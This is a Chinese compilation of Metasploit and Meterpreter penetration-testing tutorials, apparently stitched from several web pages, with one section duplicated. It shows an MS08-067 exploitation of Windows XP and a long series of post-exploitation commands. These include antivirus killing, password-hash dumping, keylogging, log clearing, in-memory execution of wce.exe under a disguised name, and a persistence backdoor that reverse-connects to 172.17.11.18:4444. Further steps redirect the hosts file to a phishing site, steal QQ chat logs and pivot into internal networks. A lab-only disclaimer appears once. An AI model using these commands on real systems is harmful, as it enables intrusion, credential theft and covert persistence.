这⾥有⼀些核⼼的命令可以⽤在meterpreter。
1. ? – 帮助菜单2. background – 将当前会话移动到背景3. bgkill – 杀死⼀个背景 meterpreter 脚本4. bglist – 提供所有正在运⾏的后台脚本的列表5. bgrun – 作为⼀个后台线程运⾏脚本6. channel – 显⽰活动频道7. close – 关闭通道8. exit – 终⽌ meterpreter 会话9. help – 帮助菜单10. interact – 与通道进⾏交互11. irb – 进⼊ Ruby 脚本模式12. migrate – 移动到⼀个指定的 PID 的活动进程13. quit – 终⽌ meterpreter 会话14. read – 从通道读取数据15. run – 执⾏以后它选定的 meterpreter 脚本16. use – 加载 meterpreter 的扩展17. write – 将数据写⼊到⼀个通道第2步:⽂件系统命令1. cat -读取并输出到标准输出⽂件的内容2. cd -更改⽬录对受害⼈3. del -删除⽂件对受害⼈4. download-从受害者系统⽂件下载5. edit-⽤ vim编辑⽂件6. getlwd -打印本地⽬录7. getwd -打印⼯作⽬录8. lcd -更改本地⽬录9. lpwd -打印本地⽬录10. ls -列出在当前⽬录中的⽂件列表11. mkdir -在受害者系统上的创建⽬录12. pwd -输出⼯作⽬录13. rm -删除⽂件14. rmdir -受害者系统上删除⽬录15. upload-从攻击者的系统往受害者系统上传⽂件第 3 步:⽹络命令1. ipconfig -显⽰⽹络接⼝的关键信息,包括 IP 地址、等。
metaploit 命令参数
metaploit 命令参数摘要:一、Metasploit简介1.Metasploit框架的组成2.Metasploit的作用和用途二、Metasploit命令参数1.常用命令参数及其功能a.`msfconsole`:进入Metasploit命令行界面b.`use`:选择攻击模块c.`set`:设置变量d.`run`:执行攻击模块e.`show`:查看当前设置和会话信息f.`exit`:退出Metasploit2.参数的格式和使用方法三、Metasploit命令参数的实际应用1.渗透测试中的使用示例2.安全研究人员和开发者的应用场景正文:Metasploit是一款功能强大的渗透测试框架,广泛应用于网络安全领域。
它由多个组件组成,其中Metasploit命令行界面(MSF Console)是用户与框架进行交互的主要方式。
通过MSF Console,用户可以方便地执行各种渗透测试任务,包括选择攻击模块、设置变量、执行攻击等。
在Metasploit中,命令参数是控制框架行为的关键。
以下是一些常用的Metasploit命令参数及其功能:1.`msfconsole`:这是进入Metasploit命令行界面的命令。
在命令行中输入该命令,即可启动MSF Console。
2.`use`:该命令用于选择要使用的攻击模块。
例如,要使用一个名为“multi/handler”的模块,只需输入`use multi/handler`。
3.`set`:该命令用于设置变量。
在渗透测试中,有时需要对某些参数进行配置,可以使用`set`命令设置。
例如,设置一个名为“RHOST”的变量,内容为“192.168.1.1”,可以输入`set RHOST 192.168.1.1`。
4.`run`:这是执行攻击模块的命令。
在选择了攻击模块并设置了相关参数后,使用`run`命令开始执行攻击。
例如,要执行刚才设置的“multi/handler”模块,只需输入`run`。
Meteroreter介绍与使用
Meterpreter我们将对“黑客瑞士军刀”——Meterpreter进行更加深入的了解,它能够显著地提升在后渗透攻击阶段的技术能力。
Meterpreter 是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击在和所使用,攻击在和在出发漏洞后能够返回给我们一个控制通道。
例如,利用远程过程调用(RPC)服务的一个漏洞,当漏洞出发后,我们选择Meterpreter作为攻击在和,就能够取得目标系统上的一个Meterpreter Shell连接。
Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等。
下面我们用Metasploit的普通攻击方法来攻陷一台Windows XP 机器,然后利用Meterpreter作为攻击载荷,展示它在进入目标系统后的一些其他攻击方法与技术。
在利用漏洞MS08_067入侵主机的例子中,我们之所以能够成功,主要是由于目标主机反弹连接使用的端口没有被过滤掉。
但是如果我们攻击的组织内部设置了非常严格的出战端口过滤怎么办?很多公司在防火墙仅仅开放个别特定的端口,将其他端口一律关闭,这种情况我们很难判定能够通过那些端口连接到外部主机上。
我们可以猜测443端口没有被防火墙禁止,同样的可能还有FTP、Telent、SSH以及HTTP等服务使用的端口,可以逐一进行尝试。
Metasploit已经提供了一个专用的攻击载荷帮助我们找到这些放行的端口。
这个攻击载荷会对所有端口进行连接,知道他发现其中一个是放行的。
下面我们看看这个攻击的参数设置,如下图所示:请注意这里没有设置LPORT参数,而是使用allports攻击载荷在所有端口上进行监听,直到发现一个放行的端口。
参数设置完以后,使用攻击命令:exploit –j 如下图所示:从结果session 1 open可以发现我们的攻击机绑定到:1(指所有端口),他与目标主机的1050端口建立了连接。
MSF使用之meterpreter模块
MSF使⽤之meterpreter模块⼀、简介Meterpreter是Metasploit提供的⼀个⾮常强⼤的后渗透⼯具Meterpreter可以看成特殊的Payload,之前我们的Payload都是为了获得⽬标系统的shell这⾥的payload就是shellcode,以获得⽬标系统的shell为⽬的的payload我们获得的shell有些缺陷,仅利⽤shell来收集更多的信息、做更多的事情的话是⼀个偏笨拙的办法。
利⽤Meterpreter可以打开麦克风、⽤图形界⾯显⽰被攻击者的操作界⾯等等。
Meterpreter有以下优势:完全基于内存的DLL注⼊式Payload,纯内存⼯作,不需要对磁盘进⾏任何写⼊操作使⽤加密通信协议,⽽且可以同时与⼏个信道通信在被攻击进程内⼯作,不需要创建新的进程易于在多进程之间迁移执⾏过程:注⼊合法系统进程并建⽴Stager基于Stager上传和预加载DLL进⾏扩展模块的注⼊(客户端API)基于Stager建⽴的socket连接建⽴加密的TLS通信隧道利⽤TLS隧道进⼀步加载后续扩展模块(避免⽹络取证)⼆、基本命令获得Meterpreter Shell我们先获得⼀个Meterpreter的shell然后继续后⾯的内容实验机器:Kali Rolling 4.8.10,IP地址192.168.171.129Windows XP Professional SP3,打开445端⼝,关闭防⽕墙,IP地址192.168.171.134XP打开445端⼝在cmd命令中输⼊netstat -nao查看445端⼝是否在监听状态,如果是则跳过,不是则往下继续进⾏依次打开⽬录HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters,得到下⾯的结果双击SMBDeviceEnabled将数值数据改成1,然后点确定即可输⼊netstat -nao,查看是否已经打开,如果没有则重启⼀下机器Kali开始攻击我们⽤ms08_067这个漏洞进⾏攻击,payload选择Meterpreter的payload,其中targets选择了 Id为34的系统,即Windows XP SP3 Chinese - Simplified (NX)然后输⼊ exploit -j 进⾏攻击,可以看到先发送了stage,然后创建了Meterpreter会话现在我们进⼊这个Meterpreter Shell基本命令可以输⼊help查看⼀些命令,如果想回到MSF可以输⼊backgroundpwd:pwd是Linux的命令,Windows是没有的,但在Meterpreter Shell中我们可以⽤这个命令查看当前所在的⽬录位置cd:切换⽬录dir / ls:列出当前⽬录的内容cat:查看⽂件内容mkdir:创建⽬录rm:删除⽂件rmdir:删除⽂件夹mv:移动⽂件cp:复制⽂件edit:其实就是Linux 下的 vi 命令lpwd:指 local pwd,查看本地当前的⼯作⽬录lcd:切换本地⽬录getuid:查看Meterpreter登录到系统的⽤户getsystem:获取system权限getprivs:查看⽤户权限getpid:Meterpreter是注⼊到⼀个合法的进程⾥⾯的,然后可以⽤ps查看我们注⼊的是哪个进程migrate:将Meterpreter迁移到我们想注⼊的进程⾥⾯,migrate pid⽐如services.exe的pid是664,我们可以migrate 664run / bgrun:运⾏命令,有200多个功能,但不保证所有模块能在⽬标机器上正常运⾏,bgrun是在后台运⾏⽽不是前台run post/windows/manage/killav ⽤来杀掉杀毒软件run post/windows/gather/smart_hashdump 获得系统账号和密码的hash,跟直接输⼊hashdump是⼀样的run service_manager -l 获得⽬标系统的服务run vnc 图形化的远程管理clearev:清除⽬标系统⽇志。
meterpreter 原理
meterpreter 原理Meterpreter原理简介Meterpreter是一个在渗透测试中常用的后渗透工具,它是Metasploit框架的一部分。
它提供了一种强大的方式来远程控制受感染的计算机,并执行各种操作,如文件操作、系统信息收集和横向移动等。
Meterpreter的原理是基于代码注入和反射DLL的技术实现的。
代码注入是指将恶意代码注入到目标进程的内存空间中,使其在目标进程中运行。
Meterpreter使用了反射DLL技术来实现这一目的。
反射DLL是一种将DLL文件加载到目标进程中而不是通过正常的LoadLibrary函数进行加载的技术。
通过反射DLL技术,Meterpreter可以将自身的DLL代码注入到目标进程中,并在目标进程中执行自己的功能。
Meterpreter的代码注入和反射DLL技术使得它可以绕过一些安全防护机制,如防火墙和杀毒软件。
它可以在目标系统中创建一个隐藏的远程线程,并将自己的DLL代码注入到这个线程中。
这个隐藏的线程可以绕过目标系统的防火墙和杀毒软件的检测。
Meterpreter的原理还包括了一种通信机制,用于与控制端进行通信。
它使用了一种加密的通信协议,可以保证数据的机密性和完整性。
Meterpreter还可以通过各种传输协议进行通信,如HTTP、HTTPS、TCP和DNS等。
这使得Meterpreter在不同网络环境下都能够有效地进行通信。
在控制端,渗透测试人员可以使用Metasploit框架提供的工具来与Meterpreter进行交互。
他们可以执行各种命令来控制受感染的计算机,如获取系统信息、浏览文件系统、执行命令和上传下载文件等。
Meterpreter还提供了一些特殊的功能,如键盘记录和屏幕截图等,以帮助渗透测试人员更好地了解目标系统。
Meterpreter的原理使得它成为渗透测试中不可或缺的工具之一。
它的功能强大,使用方便,同时又具有很强的隐蔽性。
它可以被广泛应用于渗透测试、漏洞利用和系统安全评估等领域。
Meterpreter扩展工具包的基本应用2
一些脚本命令为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。
使用“run scriptname”来使用meterpreter模块中的脚本命令,如“run checkvm”命令式检查远程主机是一个虚拟主机还是一个真正的主机。
如下图,返回给我们的信息是虚机主机:同样有许多类似这样的脚本,下面来介绍几个重要的脚本:getgui——getgui ,为添加用户的命令,首先用“run getgui -h”查看脚本getgui 的帮助信息从上图可以看出这个脚本的用法是“run getgui –u username –p password”,我添加了一个lu的用户密码为6666。
从下图中可以看到用户已经添加成功。
添加完账户之后使用rdesktop命令连接一下远程主机,具体用法是“rdesktop –u username –p password IP”执行命令之后就会弹出一个窗口,只需再输入一次密码就可以进入目标机器,并对目标机器直接进行控制。
packetrecorder——“run packetrecorder”查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。
从下图中运行之后返回的信息中可以到我们需要查看的目标系统的网络流量信息将被存储的路径,可以到下面路径中直接查看。
get_local_subnets——“run get_local_subnets”得到本地子网网段。
getcountermeasure——“run getcountermeasure”显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略。
scraper——“run scraper”从目标主机获得所有网络共享等信息。
并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。
使用ls命令查看存储的这些文件。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
meterpreter会话渗透利用常用的32个命令归纳小结仅作渗透测试技术实验之用,请勿针对任何未授权网络和设备。
1、background命令返回,把meterpreter后台挂起2、session命令session 命令可以查看已经成功获取的会话可以使用session -i 连接到指定序号的meterpreter会话已继续利用3、shell命令获取目标主机的远程命令行shell如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试4、cat命令查看目标主机上的文档内容例如:cat C:\\boot.ini 查看目标主机启动引导信息5、getwd命令获取系统工作的当前目录6、upload命令仅作渗透测试技术实验之用,请勿针对任何未授权网络和设备。
1、background命令返回,把meterpreter后台挂起2、session命令session 命令可以查看已经成功获取的会话可以使用session -i 连接到指定序号的meterpreter会话已继续利用3、shell命令获取目标主机的远程命令行shell如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试4、cat命令查看目标主机上的文档内容例如:cat C:\\boot.ini 查看目标主机启动引导信息5、getwd命令获取系统工作的当前目录6、upload命令上传文件到目标主机,例如把后门程序setup.exe传到目标主机system32目录下upload setup.exe C:\\windows\\system32\7、download命令把目标主机上的文件下载到我们的攻击主机上例如:把目标主机C盘根目录下的boot.ini文件下载到攻击主机的/root/目录下download C:\\boot.ini /root/download C:\\"Program Files"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/把目标主机上的QQ聊天记录下载到攻击主机的root目录下(仅实验用途,是否要考虑变更你QQ程序的安装路径了呢)8、edit命令调用vi编辑器,对目标主机上的文件修改例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)在目标主机上ping ,出来的目标IP就是我们修改的192.168.1.1了9、search命令在目标主机文件系统上查找搜索文件例如:search -d c:\\ -f *.doc在目标主机C盘下搜索doc文档10、ipconfig命令这个不多说,查看目标主机上的网络参数11、portfwd命令端口转发例如目标主机上开启了3389,但是只允许特定IP访问,攻击主机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开例如:portfwd add -l 1122 -p 3389 -r 192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口这是只需要连接目标的1122端口就可以打开远程桌面了rdesktop -u administrator -p 123456 192.168.250.176:112212、route命令这个也不多说,显示目标主机上的主机路由表13、getuid查看meterpreter注入到目标主机的进程所属用户14、sysinfo查看目标主机系统信息15、ps命令查看目标主机上运行的进程信息,结合migrate使用16、migrate将meterpreter会话移植到另一个进程例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe 是一个好方法可以先用ps命令看一下目标主机的explorer.exe进程的pid是1668然后我们用migrate 1668 把meterpreter会话注入进去17、execute命令在目标主机上运行某个程序例如我们目前注入进程到explorer.exe后,运行用户为超级管理员administrator我们运行一下目标主机上的记事本程序execute -f notepad.exe目标主机上立马弹出来一个记事本程序,如下图:这样太明显,如果希望隐藏后台执行,加参数-Hexecute -H -f notepad.exe此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上命令:execute -H -i -f cmd.exe这达到的效果就跟使用shell命令一样了再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。
execute -H -m -d notepad.exe -f wce.exe -a "-o wce.txt"-d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行"-o wce.txt"是wce.exe的运行参数18、getpid获取meterpreter会话在目标主机上注入进程的进程号19、shutdown命令关闭目标主机20、后渗透模块post/windows/gather/forensics/enum_drives调用在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息:命令,在msfconsole下:use post/windows/gather/forensics/enum_drivesset SESSION 1exploit效果如图:或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调用21、调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机命令:run post/windows/gather/checkvm效果如下图:22、persistence后渗透模块向目标主机植入后门程序命令:run persistence -X -i 5 -p 4444 -r 172.17.11.18-X 在目标主机上开机自启动-i 不断尝试反向连接的时间间隔效果如下图:执行过程:创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。
下图,在攻击主机上监听4444端口,等待反弹会话成功下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本23、调用metsvc后渗透攻击模块命令:run metsvc效果如下图:执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务成功后:在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图)24、调用getgui后渗透攻击模块作用:开启目标主机远程桌面,并可添加管理员组账号命令:run getgui -e开启目标主机远程桌面如下图:开启目标主机的远程桌面服务后,可以添加账号以便利用命令:run getgui -u example_username -p example_password如下图:执行成功,可以使用kali的rdesktop命令使用远程桌面连接目标主机rdesktop -u kali -p meterpreter 192.168.250.176:338925、提权命令getsystem使用getsystem提升当前进城执行账户微system用户,拿到系统最高权限命令:getsystem26、键盘记录器功能keyscan命令:keyscan_start 开启记录目标主机的键盘输入keyscan_dump 输出截获到的目标键盘输入字符信息keyscan_stop 停止键盘记录效果如下图:箭头所指为截获到目标主机的键盘输入字符27、系统账号密码获取命令:hashdump在获得system权限的情况下,使用hashdump命令可以到处目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码效果如图:28、调用post/windows/gather/enum_applications模块获取目标主机上的软件安装信息命令:run post/windows/gather/enum_applications效果如图:29、调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息命令:run post/windows/gather/dumplinks效果如下图:30、调用post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码命令:run post/windows/gather/enum_ie效果如下图:获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下。
31、route命令使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。
可以先使用run get_local_subnets命令查看已拿下的目标主机的内网IP段情况命令:run get_local_subnets如下图:其内网尚有192.168.249.0/24网段,我们无法直接访问下面做一条路由,下一跳为当前拿下主机的session id(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。